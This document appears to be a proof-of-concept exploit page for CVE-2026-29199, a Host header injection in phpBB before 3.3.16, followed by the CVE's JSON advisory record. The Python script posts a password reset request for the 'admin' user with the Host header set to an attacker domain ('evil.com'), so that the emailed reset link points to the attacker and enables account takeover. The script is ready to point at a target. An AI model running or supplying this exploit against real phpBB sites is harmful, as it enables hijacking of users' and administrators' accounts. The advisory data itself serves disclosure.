CVE-2026-29199

# PoC for CVE-2026-29199: phpBB Host Header Injection # This script demonstrates how to send a malicious Host header import requests def exploit_poc(target_url, malicious_domain, victim_user): # The endpoint for password reset reset_url = f"{target_url}/ucp.php?mode=sendpassword" # Headers with the poisoned Host header headers = { "Host": malicious_domain, "User-Agent": "Mozilla/5.0 (PoC-Analysis)", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" } # Payload data payload = { "username": victim_user, "email": "", # Email might be optional if username is used "submit": "Submit" } try: print(f"[*] Sending request to {reset_url} with Host: {malicious_domain}") response = requests.post(reset_url, headers=headers, data=payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the victim's email for a reset link containing the malicious domain.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target phpBB URL evil_host = "evil.com" # Attacker controlled domain user = "admin" # Target username exploit_poc(target, evil_host, user)

{"cve": {"id": "CVE-2026-29199", "sourceIdentifier": "[email protected]", "published": "2026-05-04T07:15:59.960", "lastModified": "2026-05-07T15:53:49.717", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpBB before 3.3.16 is vulnerable to Host Header Injection that can lead to password rest link poisoning. When force_server_vars is disabled, the servers hostname may be extracted from the HTTP Host header which is used to generate the password reset link URL. An attacker who can manipulate the Host header (e.g. through misconfigured host setup or missing header validation by the webserver) can cause password reset emails to contain a link pointing to an attacker-controlled domain, potentially leading to account takeover."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-640"}]}], "references": [{"url": "https://hackerone.com/reports/3543246", "source": "[email protected]"}]}}